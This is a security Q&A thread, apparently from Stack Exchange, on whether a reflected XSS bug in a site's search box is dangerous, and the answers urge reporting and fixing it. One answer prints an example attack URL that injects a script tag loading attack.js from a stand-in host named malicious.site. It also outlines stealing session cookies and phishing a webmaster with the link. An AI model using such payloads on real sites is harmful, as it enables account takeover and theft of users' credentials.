1

I stumbled on a site today that was vulnerable to XSS. I was able to get an alert box to display via an input box and some JavaScript. I was about to report this to the site owner, but I realized there were no queries in the URL and this attack wasn't saved anywhere on the server.

Could this be malicious in any way? Is there any reason to fix it?

Guest123
  • 11
  • 1
  • What was the input box for? Is there anything on the site that allows a user to save something on the site itself? – Nalaurien Aug 09 '17 at 13:41
  • It was a simple search box. I don't believe there was any place where a user could save something. – Guest123 Aug 09 '17 at 13:42
  • I'll get back to you on this, A while ago we tried something where a search box used the input to get pages on the site, we used it to get the site to contact an evil server. I forget if it was successful or not. I'll dig up the VM sometime today and let you know if I found it. In short though, it could be bad, it might not. It depends on the backend. It's always best to not have the vulnerability at all. – Nalaurien Aug 09 '17 at 13:48
  • Thanks Nalaurien. I totally agree with that last bit; I'll definitely shoot them a message about it. – Guest123 Aug 09 '17 at 13:59
  • 2
    Conceptually, one threat I can think of is someone using social engineering to manipulate someone into running the code. The site itself is well-known and trusted among the community. So if I told my friend to go to that site and enter some heavily obfuscated code into the search bar, I could successfully get my code running on their browser. It's not a threat to the site itself, but can be to its users. – Guest123 Aug 09 '17 at 14:07
  • 1
    does the site share other user-created content, or even have a login? – dandavis Aug 09 '17 at 17:32
  • Nope, it's pretty much a static website. It does have a "Sign up for our newsletter" form, but I haven't had much luck in attacking that. – Guest123 Aug 10 '17 at 13:36

2 Answers2

1

A common social engineering ploy which uses such reflective xss attacks is to trick users into entering obfuscated javascript code into the input box themselves. Usually under the pretense that it would be some secret trick to do something interesting on that website. But what it actually does is steal the user's login cookie and write a message to everyone on their friends list telling them to also try out the "secret code".

Another use of such a reflective XSS vulnerability is to combine it with a cross-site request forgery attack. An attacker would build a form on a website they control and have it submit to the same URL on the target website which the vulnerable form submits to. They would then lure their victim to their website. The victim doesn't need to perform an action on the attacker's website, because it's possible to submit the form automatically on pageload using javascript. This only works under the conditions that 1. the vulnerable form is processed server-sided and 2. the vulnerable website doesn't use the standard methods to prevent CSRF attacks (validate the user's Referer header for POST requests, use a sane CORS configuration for XmlHttpRequest's).

Should you report it as a bug even if you don't manage to find an exploit? Definitely. It's certainly not intended behavior and a sign of bad code.

Philipp
  • 48,867
  • 8
  • 127
  • 157
0

This can absolutely be malicious, is definitely a security bug, and should be fixed.

The fact that there are no queries on the URL or that the data isn't saved to the server doesn't matter. None of those things are what makes XSS dangerous. The part that makes XSS dangerous is exactly what you found: part of the request can be executed by the browser as javascript on the page. Here is what an attack would look like, depending on other ways the page behaves.

Imagine for instance that the input you found looks like this in the HTML:

Your Name: <input type="text" name="name">

You (it sounds like) put some javascript in this form, hit submit, and your javascript was executed when you came back to the page. In otherwords, the name parameter is vulnerable to XSS injection. In the best case scenario (for the attacker), the page in question mixes up the POST body and the GET data, in which case this name parameter is vulnerable regardless of whether a form was submitted. If this is the case, you can craft a payload that will be executed by someone simply clicking a link:

http://vulnerable-site.com/register?name=<script type="text/javascript" src="http://malicious.site/attack.js">

When a user clicks this link, it takes them to the website, the reflected XSS attack happens, and you now have javascript you control executing on the victim's browser. What does that get you? The answer is easy: everything. The common first step is to look at the site before hand and figure out how authentication credentials are stored (usually in a cookie). If the http-only flag is not set on the cookie, then what the attacker can do is have his javascript extract the cookie contents and send them off to a server he controls. 99% of the time authentication cookies have a session id in them, and once you have the session id you can login as the person with no trouble.

So the next thing you do is take your link which steals credentials, send an email to the "webmaster" email address saying, "Hey, something on your site broke when I did X. Here is a link to the page that broke for me". Then if the person clicks the link, you automatically steal their credentials and potentially gain administrative access to the site.

Granted, it is a multi-step attack vector, and there are assumptions along the way that can result in it not working, but the point is that even seemingly innocuous things like this are very dangerous, especially in the context of a site with generally poor security. Sometimes what seems like a little crack is actually large enough to drive a bus through, once you fully understand the implications.

Conor Mancone
  • 29,899
  • 13
  • 91
  • 96